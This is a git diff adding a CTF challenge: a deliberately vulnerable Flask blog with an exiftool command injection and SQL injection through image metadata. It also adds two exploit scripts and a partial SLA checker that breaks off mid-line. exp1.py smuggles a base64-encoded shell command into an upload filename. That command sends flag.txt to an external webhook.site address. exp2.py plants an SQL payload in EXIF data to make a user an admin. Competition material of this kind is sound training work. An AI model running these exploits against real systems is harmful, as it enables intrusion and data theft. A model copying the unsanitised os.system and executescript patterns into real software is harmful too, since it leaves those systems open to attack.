diff --git a/services/blogpost/README.md b/services/blogpost/README.md new file mode 100644 index 0000000..e73ccbc --- /dev/null +++ b/services/blogpost/README.md @@ -0,0 +1,15 @@ +## Blogpost + +db used: sqlite +flag.txt: GEMASTIK{random sha256 generated on app start} + +feature: +[authentication required with login and register, register default as "user" role] +1. search feature +2. create, edit, visit post form that can upload images (png, jpg/jpeg, bmp) query the image metadata taken with exiftool to the sqlite database +3. profile (if the account type is admin, render the content of flag.txt) + +vuln1: Command injection on exiftool (payload: exp1.py) +vuln2: SQLi on image metadata to enable altering user account into admin account (payload: sqli.png, exp2.py) + +patching rules?: \ No newline at end of file diff --git a/services/blogpost/chall/Dockerfile b/services/blogpost/chall/Dockerfile new file mode 100644 index 0000000..8a23bc8 --- /dev/null +++ b/services/blogpost/chall/Dockerfile @@ -0,0 +1,21 @@ +FROM python:3.11-slim + +RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \ + libimage-exiftool-perl \ + sqlite3 \ + build-essential \ + && rm -rf /var/lib/apt/lists/* + +WORKDIR /app + +COPY requirements.txt /app/ +RUN pip install --no-cache-dir -r /app/requirements.txt + +COPY . /app +RUN chmod +x /app/entrypoint.sh + +RUN mkdir -p /data /app/uploads + +EXPOSE 8000 + +CMD ["/app/entrypoint.sh"] diff --git a/services/blogpost/chall/app.py b/services/blogpost/chall/app.py new file mode 100644 index 0000000..bbb45c3 --- /dev/null +++ b/services/blogpost/chall/app.py @@ -0,0 +1,248 @@ +import os +import sqlite3 +from flask import * +from werkzeug.utils import * +from werkzeug.security import generate_password_hash, check_password_hash +import hashlib +import re +from markupsafe import escape as m_escape + +APP_DIR = os.path.dirname(os.path.abspath(__file__)) +UPLOAD_FOLDER = os.path.join(APP_DIR, "uploads") +DB_PATH = "/data/app.db" +FLAG_PATH = "/app/flag.txt" + +ALLOWED_EXT = {'png', 'jpg', 'jpeg', 'bmp'} + +app = Flask(__name__) +app.secret_key = os.urandom(24) +app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER +app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 + +def get_db(): + db = getattr(g, "_database", None) + if db is None: + db = g._database = sqlite3.connect(DB_PATH, check_same_thread=False) + db.row_factory = sqlite3.Row + return db + +@app.teardown_appcontext +def close_connection(exception): + db = getattr(g, "_database", None) + if db is not None: + db.close() + +@app.route("/register", methods=["GET", "POST"]) +def register(): + if request.method == "POST": + username = request.form.get("username", "").strip() + password = request.form.get("password", "").strip() + if not username or not password: + flash("Missing username or password") + return redirect(url_for("register")) + hashed = generate_password_hash(password) + db = get_db() + try: + db.execute("INSERT INTO users (username, password, role) VALUES (?, ?, ?)", (username, hashed, "user")) + db.commit() + flash("Registered. Please login.") + return redirect(url_for("login")) + except sqlite3.IntegrityError: + flash("Username already taken") + return redirect(url_for("register")) + return render_template("register.html") + +@app.route("/login", methods=["GET", "POST"]) +def login(): + if request.method == "POST": + username = request.form.get("username", "").strip() + password = request.form.get("password", "").strip() + db = get_db() + cur = db.execute("SELECT id, username, password, role FROM users WHERE username = ?", (username,)) + row = cur.fetchone() + if row and check_password_hash(row["password"], password): + session["user_id"] = row["id"] + session["username"] = row["username"] + session["role"] = row["role"] + flash("Logged in") + return redirect(url_for("index")) + else: + flash("Invalid credentials") + return render_template("login.html") + +@app.route("/logout") +def logout(): + session.clear() + flash("Logged out") + return redirect(url_for("index")) + +@app.route("/", methods=["GET", "POST"]) +def index(): + if "user_id" not in session: + return redirect(url_for("login")) + + user_id = session["user_id"] + db = get_db() + q = request.values.get("q", "").strip() + + if q: + cur = db.execute( + "SELECT p.*, u.username AS author " + "FROM posts p LEFT JOIN users u ON p.author_id = u.id " + "WHERE p.author_id = ? AND (p.title LIKE ? OR p.content LIKE ?) " + "ORDER BY p.id DESC", + (user_id, f"%{q}%", f"%{q}%") + ) + else: + cur = db.execute( + "SELECT p.*, u.username AS author " + "FROM posts p LEFT JOIN users u ON p.author_id = u.id " + "WHERE p.author_id = ? " + "ORDER BY p.id DESC", + (user_id,) + ) + + posts = cur.fetchall() + return render_template("index.html", posts=posts, q=q) + +def allowed_file(filename): + return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXT + +@app.route("/create", methods=["GET", "POST"]) +def create_post(): + if "user_id" not in session: + flash("Login required") + return redirect(url_for("login")) + if request.method == "POST": + title = request.form.get("title", "") + content = request.form.get("content", "") + file = request.files.get("image") + image_filename = None + metadata_text = "" + if file and allowed_file(file.filename): + original_filename = file.filename + save_path = os.path.join(app.config['UPLOAD_FOLDER'], original_filename) + os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True) + file.save(save_path) + + try: + cmd = f"exiftool {save_path}" + meta_file = save_path + ".meta" + full_cmd = f"{cmd} > {meta_file} 2>&1" + os_status = os.system(full_cmd) + if os.path.exists(meta_file): + with open(meta_file, "r", encoding="utf-8", errors="ignore") as mf: + metadata_text = mf.read() + else: + metadata_text = "no-metadata" + except Exception as e: + metadata_text = f"exif_err: {e}" + + try: + h = hashlib.sha256() + with open(save_path, "rb") as fbin: + for chunk in iter(lambda: fbin.read(8192), b""): + h.update(chunk) + digest = h.hexdigest() + _, ext = os.path.splitext(original_filename) + ext = ext.lower() if ext else "" + new_filename = f"{digest}{ext}" + new_path = os.path.join(app.config['UPLOAD_FOLDER'], new_filename) + new_meta = new_path + ".meta" + + if not os.path.exists(new_path): + os.replace(save_path, new_path) + else: + try: + os.remove(save_path) + except Exception: + pass + + if os.path.exists(meta_file): + try: + os.replace(meta_file, new_meta) + except Exception: + try: + with open(meta_file, "rb") as mf_src, open(new_meta, "wb") as mf_dst: + mf_dst.write(mf_src.read()) + os.remove(meta_file) + except Exception: + pass + + image_filename = new_filename + if os.path.exists(new_meta): + try: + with open(new_meta, "r", encoding="utf-8", errors="ignore") as mf2: + metadata_text = mf2.read() + except Exception: + pass + except Exception as e: + image_filename = original_filename + + db = get_db() + try: + cur = db.execute( + "INSERT INTO posts (title, content, image_filename, author_id) VALUES (?, ?, ?, ?)", + (title, content, image_filename, session['user_id']) + ) + db.commit() + post_id = cur.lastrowid + metadata_insert = f"UPDATE posts SET metadata = '{metadata_text}' WHERE id = {post_id};" + db.executescript(metadata_insert) + db.commit() + except Exception as e: + db.execute( + "UPDATE posts SET metadata = ? WHERE id = ?", + (metadata_text, post_id if 'post_id' in locals() else None) + ) + db.commit() + flash("Post created") + return redirect(url_for("index")) + else: + flash("Missing or invalid image (png/jpg/jpeg/bmp)") + return render_template("create_post.html") + +@app.route('/uploads/') +def uploaded_file(filename): + return send_from_directory(app.config['UPLOAD_FOLDER'], filename) + +@app.route("/post/") +def view_post(pid): + db = get_db() + cur = db.execute( + "SELECT p.*, u.username as author FROM posts p LEFT JOIN users u ON p.author_id = u.id WHERE p.id = ?", + (pid,) + ) + post = cur.fetchone() + if not post: + abort(404) + + return render_template("view_post.html", post=post) + +@app.route("/profile") +def profile(): + if "user_id" not in session: + flash("Login required") + return redirect(url_for("login")) + db = get_db() + cur = db.execute("SELECT id, username, role FROM users WHERE id = ?", (session["user_id"],)) + user = cur.fetchone() + flag_content = None + + with open(os.path.join(APP_DIR, "templates", "profile.html"), "r", encoding="utf-8") as fh: + profile_template = fh.read() + + username = user["username"] if user else "" + profile_source = profile_template.replace("{{ user.username }}", username) + + if user and user["role"] == "admin": + try: + with open(FLAG_PATH, "r") as f: + flag_content = f.read().strip() + except Exception: + flag_content = "flag not found" + return render_template_string(profile_source, user=user, flag=flag_content) + +if __name__ == "__main__": + os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True) + app.run(host="0.0.0.0", port=8000) diff --git a/services/blogpost/chall/data/app.db b/services/blogpost/chall/data/app.db new file mode 100644 index 0000000..5baed4b Binary files /dev/null and b/services/blogpost/chall/data/app.db differ diff --git a/services/blogpost/chall/data/flag.txt b/services/blogpost/chall/data/flag.txt new file mode 100644 index 0000000..ef7e875 --- /dev/null +++ b/services/blogpost/chall/data/flag.txt @@ -0,0 +1 @@ +GEMASTIK{e4666237005e8f8699f0c02ca95b8e4fa5064c93d91c67070649c6e279c13670} diff --git a/services/blogpost/chall/docker-compose.yml b/services/blogpost/chall/docker-compose.yml new file mode 100644 index 0000000..c7e85bf --- /dev/null +++ b/services/blogpost/chall/docker-compose.yml @@ -0,0 +1,10 @@ +version: '3.8' +services: + web: + build: . + container_name: ctf_web + ports: + - "4413:8000" + environment: + - FLASK_ENV=production + command: ["/app/entrypoint.sh"] diff --git a/services/blogpost/chall/entrypoint.sh b/services/blogpost/chall/entrypoint.sh new file mode 100644 index 0000000..a7c990f --- /dev/null +++ b/services/blogpost/chall/entrypoint.sh @@ -0,0 +1,22 @@ +#!/usr/bin/env bash +set -e + +FLAG_SHA=$(head -c 64 /dev/urandom | sha256sum | awk '{print $1}') +FLAG="GEMASTIK{${FLAG_SHA}}" +echo "$FLAG" > /app/flag.txt +chmod 400 /app/flag.txt + +mkdir -p /app/uploads +mkdir -p /data + +DBFILE=/data/app.db +if [ ! -f "$DBFILE" ]; then + echo "Initializing database..." + sqlite3 $DBFILE < /app/init_db.sql +fi + +echo "Starting Flask app (port 8000)..." +export FLASK_APP=/app/app.py +export FLASK_ENV=production + +python /app/app.py diff --git a/services/blogpost/chall/init_db.sql b/services/blogpost/chall/init_db.sql new file mode 100644 index 0000000..bb2a7d6 --- /dev/null +++ b/services/blogpost/chall/init_db.sql @@ -0,0 +1,18 @@ +PRAGMA foreign_keys = ON; + +CREATE TABLE users ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + username TEXT UNIQUE NOT NULL, + password TEXT NOT NULL, + role TEXT NOT NULL DEFAULT 'user' +); + +CREATE TABLE posts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + title TEXT, + content TEXT, + image_filename TEXT, + metadata TEXT, + author_id INTEGER, + FOREIGN KEY(author_id) REFERENCES users(id) +); diff --git a/services/blogpost/chall/requirements.txt b/services/blogpost/chall/requirements.txt new file mode 100644 index 0000000..5112d0d --- /dev/null +++ b/services/blogpost/chall/requirements.txt @@ -0,0 +1,3 @@ +Flask==2.2.5 +werkzeug==2.2.3 +Jinja2==3.1.2 diff --git a/services/blogpost/chall/static/style.css b/services/blogpost/chall/static/style.css new file mode 100644 index 0000000..c5907b8 --- /dev/null +++ b/services/blogpost/chall/static/style.css @@ -0,0 +1,160 @@ +/* cool dark glass UI for the CTF blog */ +/* Variables */ +:root{ + --bg-900: #0b0e12; + --bg-800: #0f1720; + --panel: rgba(255,255,255,0.04); + --glass: rgba(255,255,255,0.04); + --muted: rgba(255,255,255,0.6); + --accent-1: #6EE7B7; /* mint */ + --accent-2: #7C4DFF; /* violet */ + --danger: #FF6B6B; + --radius-lg: 14px; + --radius-md: 10px; + --shadow-1: 0 6px 20px rgba(2,6,23,0.6); + --card-border: linear-gradient(120deg, rgba(124,77,255,0.18), rgba(110,231,183,0.12)); +} + +*{box-sizing:border-box} +html,body{height:100%} +body{ + font-family: Inter, ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial; + background: radial-gradient(1200px 600px at 10% 10%, rgba(124,77,255,0.06), transparent), + radial-gradient(900px 400px at 90% 90%, rgba(110,231,183,0.03), transparent), + linear-gradient(180deg,var(--bg-900),var(--bg-800)); + color: #e6eef6; + margin:0; + -webkit-font-smoothing:antialiased; + -moz-osx-font-smoothing:grayscale; + padding:28px; + line-height:1.45; +} + +header{ + display:flex; + gap:18px; + align-items:center; + justify-content:space-between; + max-width:1100px; + margin:0 auto 22px; + padding:14px 18px; + border-radius:var(--radius-lg); + background: linear-gradient(180deg, rgba(255,255,255,0.03), rgba(255,255,255,0.01)); + box-shadow: var(--shadow-1); + border: 1px solid rgba(255,255,255,0.03); + backdrop-filter: blur(8px) saturate(120%); +} +header h1{ + margin:0; + font-size:20px; + letter-spacing:0.4px; + display:flex; + gap:10px; + align-items:center; +} +.logo-dot{ + width:12px;height:12px;border-radius:50%; + background: conic-gradient(from 180deg at 50% 50%, var(--accent-1), var(--accent-2)); + box-shadow:0 4px 18px rgba(124,77,255,0.18), inset 0 -2px 6px rgba(255,255,255,0.04); +} + +/* nav */ +nav a{ + color:var(--muted); + text-decoration:none; + padding:8px 12px; + border-radius:10px; + font-size:14px; +} +nav a:hover{ color: white; background: rgba(255,255,255,0.03) } +nav a.active{ + background: linear-gradient(90deg, rgba(124,77,255,0.12), rgba(110,231,183,0.08)); + color: white; + box-shadow: 0 6px 18px rgba(2,6,23,0.5); +} + +main{ + max-width:1100px; + margin: 18px auto; + display:grid; + grid-template-columns: 1fr; + gap:18px; +} + +form, article, .card{ + background: linear-gradient(180deg, rgba(255,255,255,0.02), rgba(255,255,255,0.01)); + border-radius: var(--radius-md); + padding:16px; + border: 1px solid rgba(255,255,255,0.03); + box-shadow: 0 8px 30px rgba(2,6,23,0.45); +} + +input[type="text"], input[type="password"], textarea, input[type="file"], select { + width:100%; + padding:10px 12px; + border-radius:8px; + background: rgba(255,255,255,0.02); + border:1px solid rgba(255,255,255,0.04); + color: #e6eef6; + outline:none; + font-size:14px; + margin-top:6px; +} +textarea{ min-height:120px; resize:vertical; } + +button, .btn { + display:inline-block; + padding:10px 14px; + border-radius:10px; + border: none; + cursor:pointer; + font-weight:600; + background: linear-gradient(90deg, var(--accent-1), var(--accent-2)); + color: #04111a; + transition: transform .12s ease, box-shadow .12s ease, opacity .12s; + box-shadow: 0 8px 20px rgba(124,77,255,0.12); +} +button:hover, .btn:hover{ transform: translateY(-2px); box-shadow: 0 14px 32px rgba(124,77,255,0.14) } +button.ghost{ + background: transparent; color: var(--muted); border:1px solid rgba(255,255,255,0.04); +} + +article h3{ margin:0 0 6px; font-size:18px } +article p { color: var(--muted); margin:6px 0; } +article img{ border-radius:8px; max-width:100%; display:block; margin:10px 0; border:1px solid rgba(255,255,255,0.03) } + +pre{ + background: linear-gradient(180deg, rgba(255,255,255,0.012), rgba(255,255,255,0.01)); + border-radius:8px; padding:12px; overflow:auto; color:#cfeff1; + font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, "Roboto Mono", "Courier New", monospace; + font-size:13px; border:1px solid rgba(255,255,255,0.03); +} + +ul{ list-style:none; padding:0; margin:0 0 10px 0; display:flex; gap:8px; flex-wrap:wrap } +ul li{ + background: linear-gradient(90deg, rgba(124,77,255,0.12), rgba(110,231,183,0.07)); + padding:8px 10px; border-radius:10px; color:#eafbf6; font-weight:600; +} + +footer{ max-width:1100px; margin:18px auto; color:var(--muted); font-size:13px; text-align:center } + +@media (min-width:900px){ + main{ grid-template-columns: 1fr 360px; align-items:start; } +} + +.label-muted{ color:var(--muted); font-size:13px } +.badge{ + display:inline-block; padding:6px 10px; border-radius:999px; font-weight:700; font-size:12px; + background: linear-gradient(90deg, rgba(124,77,255,0.12), rgba(110,231,183,0.06)); color:#e6fef0; +} + +.file-wrap{ + display:flex; gap:12px; align-items:center; +} +.file-wrap input[type=file]{ display:none; } +.file-btn{ + display:inline-flex; align-items:center; gap:8px; padding:8px 12px; border-radius:8px; + background: rgba(255,255,255,0.02); border:1px dashed rgba(255,255,255,0.04); color:var(--muted); +} + +:focus{ outline: 3px solid rgba(124,77,255,0.12); outline-offset:3px } diff --git a/services/blogpost/chall/templates/create_post.html b/services/blogpost/chall/templates/create_post.html new file mode 100644 index 0000000..11d0801 --- /dev/null +++ b/services/blogpost/chall/templates/create_post.html @@ -0,0 +1,82 @@ +{% extends "layout.html" %} +{% block content %} + + + +
+

Create post (upload image)

+ +
+ + + + +
+
Image
+ +
+ + No file chosen + +
+ + +
+ +
+ + +
+
+
+ + + +{% endblock %} diff --git a/services/blogpost/chall/templates/index.html b/services/blogpost/chall/templates/index.html new file mode 100644 index 0000000..f028908 --- /dev/null +++ b/services/blogpost/chall/templates/index.html @@ -0,0 +1,120 @@ +{% extends "layout.html" %} +{% block content %} + + + + + +
+ + +
+ + +
+ +

Posts

+ +
+ {% for p in posts %} + {# determine if image exists to add no-image class #} +
+ {% if p['image_filename'] %} +
+ + img + +
+ {% endif %} + +
+

+ + {{ p['title'] or 'Untitled' }} + +

+ +
+ By {{ p['author'] or 'unknown' }} + {% if p['author'] and p['author'] == session.get('username') %} + you + {% endif %} +
+ +

+ {% if p['content'] %} + {{ (p['content'][:200] + '...') if p['content']|length > 200 else p['content'] }} + {% else %} + No content + {% endif %} +

+ +
+ Read + Post ID: {{ p['id'] }} +
+
+
+ {% else %} +
+

No posts yet.

+
+ {% endfor %} +
+ +
+ + + +{% endblock %} diff --git a/services/blogpost/chall/templates/layout.html b/services/blogpost/chall/templates/layout.html new file mode 100644 index 0000000..144b4e2 --- /dev/null +++ b/services/blogpost/chall/templates/layout.html @@ -0,0 +1,44 @@ + + + + + + Blogpost + + + + + +
+

Blogpost

+ +
+ +
+ {% with messages = get_flashed_messages() %} + {% if messages %} +
    + {% for m in messages %} +
  • {{ m }}
  • + {% endfor %} +
+ {% endif %} + {% endwith %} + {% block content %}{% endblock %} +
+ +
+ keii +
+ + diff --git a/services/blogpost/chall/templates/login.html b/services/blogpost/chall/templates/login.html new file mode 100644 index 0000000..3cefe10 --- /dev/null +++ b/services/blogpost/chall/templates/login.html @@ -0,0 +1,75 @@ +{% extends "layout.html" %} +{% block content %} + + + + +
+ {% with messages = get_flashed_messages() %} + {% if messages %} +
    + {% for m in messages %} +
  • {{ m }}
  • + {% endfor %} +
+ {% endif %} + {% endwith %} + +
+

Login

+ +
+ + + + +
+ + + +
+
+ +
+
+ + + +{% endblock %} diff --git a/services/blogpost/chall/templates/profile.html b/services/blogpost/chall/templates/profile.html new file mode 100644 index 0000000..bdd8ea3 --- /dev/null +++ b/services/blogpost/chall/templates/profile.html @@ -0,0 +1,12 @@ +{% extends "layout.html" %} +{% block content %} +

Profile: {{ user['username'] }}

+

Role: {{ user['role'] }}

+ +{% if flag %} +

FLAG (admin only):

+
{{ flag }}
+{% else %} +

No special access.

+{% endif %} +{% endblock %} diff --git a/services/blogpost/chall/templates/register.html b/services/blogpost/chall/templates/register.html new file mode 100644 index 0000000..9a8fe44 --- /dev/null +++ b/services/blogpost/chall/templates/register.html @@ -0,0 +1,66 @@ +{% extends "layout.html" %} +{% block content %} + + + +
+ {% with messages = get_flashed_messages() %} + {% if messages %} +
    + {% for m in messages %} +
  • {{ m }}
  • + {% endfor %} +
+ {% endif %} + {% endwith %} + +
+

Register

+ +
+ + + + +
+ Already have an account? + +
+
+
+
+ + + +{% endblock %} diff --git a/services/blogpost/chall/templates/view_post.html b/services/blogpost/chall/templates/view_post.html new file mode 100644 index 0000000..857edec --- /dev/null +++ b/services/blogpost/chall/templates/view_post.html @@ -0,0 +1,13 @@ +{% extends "layout.html" %} +{% block content %} +
+

{{ post['title'] or 'Untitled' }}

+

By {{ post['author'] or 'unknown' }}

+ + {% if post['image_filename'] %} + + {% endif %} + +

{{ post['content'] }}

+
+{% endblock %} diff --git a/services/blogpost/dist/dist.rar b/services/blogpost/dist/dist.rar new file mode 100644 index 0000000..17cdf2c Binary files /dev/null and b/services/blogpost/dist/dist.rar differ diff --git a/services/blogpost/exploits/exp1.py b/services/blogpost/exploits/exp1.py new file mode 100644 index 0000000..3ec8605 --- /dev/null +++ b/services/blogpost/exploits/exp1.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +import requests +from pathlib import Path +import random +import string + +HOST = "http://localhost:4413" +REGISTER_URL = HOST + "/register" +LOGIN_URL = HOST + "/login" +CREATE_URL = HOST + "/create" +HOME_URL = HOST + "/" +PROFILE_URL = HOST + "/profile" + +LOCAL_IMAGE = "test.png" # a valid image file on your machine +# Generate random username and password +def generate_random_string(length=8): + return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) + +USERNAME = generate_random_string() +PASSWORD = generate_random_string() +# choose payload variant: either use subshell $() or backticks `...` +filename_payload = "tes.png; echo 'cHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0OyB1cmxsaWIucmVxdWVzdC51cmxvcGVuKCdodHRwczovL3dlYmhvb2suc2l0ZS8yNjcxZjg2Zi0xN2U4LTRiNDQtODFkYS00YWQ2ZDUyMTA0OWQnLCBkYXRhPW9wZW4oJ2ZsYWcudHh0JywgJ3JiJykucmVhZCgpKSI=' | base64 -d | bash;#.jpg" + +# choose which to use: +filename_payload = filename_payload # or payload_backticks + +s = requests.Session() + +r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD}) +if r.status_code != 200: + print("Registration failed. Status:", r.status_code) + # print("Response:", r.text[:400]) + exit(1) +else: + print(f"Registered user: {USERNAME}") + +r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) +if r.status_code != 200: + print("Login request status:", r.status_code) + print("Response:", r.text[:400]) +else: + print("Login attempted. Cookies:", s.cookies.get_dict()) + +# 2) upload file with crafted filename in multipart +img_path = Path(LOCAL_IMAGE) +if not img_path.exists(): + raise SystemExit(f"Local image {LOCAL_IMAGE} not found") + +with open(img_path, "rb") as fh: + # requests allows sending a custom filename (first item in tuple) + files = { + "image": (filename_payload, fh, "image/jpeg") + } + data = {"title": "tes payload python3 base64 cat to curl", "content": "ctf"} + r = s.post(CREATE_URL, data=data, files=files) + print("Upload response:", r.status_code) + # optionally print a bit of response to see if anything obvious happened + print(r.text[:800]) + +# 3) fetch profile to see if you are admin and flag is shown +r = s.get(PROFILE_URL) +print("Profile status:", r.status_code) +print(r.text[:1200]) diff --git a/services/blogpost/exploits/exp2.py b/services/blogpost/exploits/exp2.py new file mode 100644 index 0000000..ddfa362 --- /dev/null +++ b/services/blogpost/exploits/exp2.py @@ -0,0 +1,95 @@ +import requests +import random +import string +import re +import subprocess +from pathlib import Path + +print("SQLi (VULN 2) Exploit") + +HOST = "http://localhost:4413" +REGISTER_URL = HOST + "/register" +LOGIN_URL = HOST + "/login" +CREATE_URL = HOST + "/create" +HOME_URL = HOST + "/" +PROFILE_URL = HOST + "/profile" + +# Generate random username and password +def generate_random_string(length=8): + return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) + +USERNAME = generate_random_string() +PASSWORD = generate_random_string() +LOCAL_IMAGE = "sqli.png" # Image to be modified with SQLi payload + +# 1) Modify the image with exiftool to embed SQLi payload +sqli_payload = f"a'; UPDATE users SET role='admin' WHERE username='{USERNAME}';--" +try: + subprocess.run([ + "exiftool", + "-overwrite_original", + f"-Comment={sqli_payload}", + LOCAL_IMAGE + ], check=True) + print(f"Modified {LOCAL_IMAGE} with SQLi payload in Comment metadata") +except subprocess.CalledProcessError as e: + print(f"Failed to modify image with exiftool: {e}") + exit(1) + +s = requests.Session() + +# 2) Register a new user +r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD}) +if r.status_code != 200: + print("Registration failed. Status:", r.status_code) + # print("Response:", r.text[:400]) + exit(1) +else: + print(f"Registered user: {USERNAME}") + +# 3) Login with the new user +r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) +if r.status_code != 200: + print("Login failed. Status:", r.status_code) + # print("Response:", r.text[:400]) + exit(1) +else: + print("Logged in successfully. Cookies:", s.cookies.get_dict()) + +# 4) Upload the modified sqli.png image when creating a post +img_path = Path(LOCAL_IMAGE) +if not img_path.exists(): + raise SystemExit(f"Local image {LOCAL_IMAGE} not found") + +with open(img_path, "rb") as fh: + files = { + "image": (LOCAL_IMAGE, fh, "image/png") + } + data = {"title": "SQLi Exploit", "content": "Testing SQLi payload"} + r = s.post(CREATE_URL, data=data, files=files) + print("Upload response status:", r.status_code) + # print("Upload response:", r.text[:800]) + +# 5) Get the home page to find the newest post ID +r = s.get(HOME_URL) +print("Home page status:", r.status_code) + +# Extract post IDs using regex +post_ids = re.findall(r'/post/(\d+)', r.text) +if post_ids: + max_id = max(map(int, post_ids)) + print(f"Newest post ID: {max_id}") +else: + print("No post IDs found on home page.") + exit(1) + +# 6) Visit the profile page and search for the flag +r = s.get(PROFILE_URL) +print("Profile page status:", r.status_code) +flag_pattern = r"GEMASTIK\{.*?\}" +flag = re.search(flag_pattern, r.text) +if flag: + print("Flag found:", flag.group(0)) +else: + print("Flag not found in response.") + # print("Response snippet:", r.text[:1200]) \ No newline at end of file diff --git a/services/blogpost/exploits/sqli.png b/services/blogpost/exploits/sqli.png new file mode 100644 index 0000000..c41aa35 Binary files /dev/null and b/services/blogpost/exploits/sqli.png differ diff --git a/services/blogpost/exploits/test.png b/services/blogpost/exploits/test.png new file mode 100644 index 0000000..6efa28f Binary files /dev/null and b/services/blogpost/exploits/test.png differ diff --git a/services/blogpost/sla.py b/services/blogpost/sla.py new file mode 100644 index 0000000..64e90f2 --- /dev/null +++ b/services/blogpost/sla.py @@ -0,0 +1,250 @@ +import io +import re +import time +import json +import base64 +import random +import string +import logging +import subprocess +from typing import Optional + +import requests +from PIL import Image # pillow for tiny PNG generation + +from .Challenge import Challenge + + +class WebAppSLA(Challenge): + """ + SLA checker for the provided Flask challenge app. + + Assumptions / Defaults (override as needed): + - Service listens on self.port (inherited) + - Container name is 'chal_app' (override via self.container_name) + - Flag lives in '/app/flag.txt' inside container + - Login flow at /login, register at /register + - Create post at /create, view post at /post/, uploads at /uploads/ + """ + flag_location = 'flags/webapp.txt' # Host copy (used by your orchestrator) + history_location = 'history/webapp.txt' + container_flag_path = '/app/flag.txt' + container_name = 'chal_app' # <-- set to your actual container name + + # Heuristics to recognize ExifTool output + _exif_markers = ( + 'ExifTool Version Number', + 'File Name', + 'File Size', + 'MIME Type', + 'File Type', + ) + + def _make_logger(self): + if not hasattr(self, 'logger') or self.logger is None: + self.logger = logging.getLogger(self.__class__.__name__) + if not self.logger.handlers: + h = logging.StreamHandler() + h.setFormatter(logging.Formatter('[%(levelname)s] %(message)s')) + self.logger.addHandler(h) + self.logger.setLevel(logging.INFO) + + # --- Flag distribution hook (optional, mirrors your example) --- + def distribute(self, flag: str) -> bool: + """ + Writes/records the current flag on the host. Your infra may separately + mount/copy it into the container; this class *also* verifies existence + inside the container during .check(). + """ + self._make_logger() + try: + with open(self.flag_location, 'w') as f: + f.write(flag) + with open(self.history_location, 'a') as f: + f.write(flag + '\n') + self.logger.info(f"Flag '{flag}' written to {self.flag_location}") + return True + except Exception as e: + self.logger.error(f"Failed writing host flag: {e}") + return False + + # --- Helpers --- + def _gen_username(self) -> str: + return "user_" + ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) + + def _gen_password(self) -> str: + return "Pw!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + + def _tiny_png_bytes(self) -> bytes: + """ + Generate a minimal valid PNG in-memory to trigger exiftool. + """ + img = Image.new("RGB", (2, 2), (123, 200, 50)) + buf = io.BytesIO() + img.save(buf, format="PNG") + return buf.getvalue() + + def _docker_exec(self, args: list[str], timeout: int = 10) -> subprocess.CompletedProcess: + """ + Run `docker exec` into the challenge container. + """ + return subprocess.run( + ["docker", "exec", self.container_name] + args, + capture_output=True, + text=True, + timeout=timeout + ) + + # --- SLA core --- + def check(self) -> bool: + self._make_logger() + base_url = f"http://localhost:{self.port}" + s = requests.Session() + + # 0) Liveness: login page should be reachable (no auth needed) + login_url = base_url + "/login" + self.logger.info(f"[1/7] Checking liveness at {login_url} ...") + try: + r = s.get(login_url, timeout=10) + assert r.status_code == 200, f"Login page HTTP {r.status_code}" + self.logger.info(" ✓ Login page reachable") + except Exception as e: + self.logger.error(f" ✗ Liveness check failed: {e}") + return False + + # 1) Register a fresh user + self.logger.info("[2/7] Registering a fresh user ...") + username = self._gen_username() + password = self._gen_password() + try: + r = s.post( + base_url + "/register", + data={"username": username, "password": password}, + allow_redirects=False, + timeout=10, + ) + # Flask typically redirects to /login on success (302) + assert r.status_code in (200, 302, 303), f"Register HTTP {r.status_code}" + self.logger.info(f" ✓ Registered as {username}") + except Exception as e: + self.logger.error(f" ✗ Registration failed: {e}") + return False + + # 2) Log in + self.logger.info("[3/7] Logging in ...") + try: + r = s.post( + base_url + "/login", + data={"username": username, "password": password}, + allow_redirects=True, + timeout=10, + ) + # Successful login should redirect or render index; ensure not bounced back to /login with "Invalid credentials" + assert r.status_code == 200, f"Login HTTP {r.status_code}" + assert "/login" not in r.url or "Invalid credentials" not in r.text + self.logger.info(" ✓ Logged in") + except Exception as e: + self.logger.error(f" ✗ Login failed: {e}") + return False + + # 3) Create post with image upload (PNG) to trigger exiftool + DB write + self.logger.info("[4/7] Creating a post with image upload ...") + title = "SLA Post " + ''.join(random.choices(string.ascii_letters, k=6)) + content = "hello_from_sla_checker" + png_bytes = self._tiny_png_bytes() + files = { + "image": ("probe.png", png_bytes, "image/png") + } + data = {"title": title, "content": content} + try: + r = s.post(base_url + "/create", files=files, data=data, allow_redirects=True, timeout=20) + assert r.status_code == 200, f"Create returned HTTP {r.status_code}" + self.logger.info(" ✓ Post created") + except Exception as e: + self.logger.error(f" ✗ Create post failed: {e}") + return False + + # 4) Discover the newly created post id by scraping links like /post/ from index + self.logger.info("[5/7] Resolving new post id from index ...") + try: + r = s.get(base_url + "/", timeout=10) + assert r.status_code == 200, f"Index HTTP {r.status_code}" + # Find the most recent /post/ that likely corresponds to our post title + # First try to find blocks containing our title then pull an id: + post_id: Optional[int] = None + # Prefer links sitting near our title + title_blocks = [m.start() for m in re.finditer(re.escape(title), r.text)] + if title_blocks: + # Search backward/forward around the title occurrences for a /post/ link + for pos in title_blocks: + window = r.text[max(0, pos-1000):pos+1000] + m = re.search(r'/post/(\d+)', window) + if m: + post_id = int(m.group(1)) + break + # Fallback: pick the first /post/ in the page + if post_id is None: + m = re.search(r'/post/(\d+)', r.text) + assert m, "No /post/ link found on index" + post_id = int(m.group(1)) + + self.logger.info(f" ✓ Resolved post id = {post_id}") + except Exception as e: + self.logger.error(f" ✗ Could not resolve post 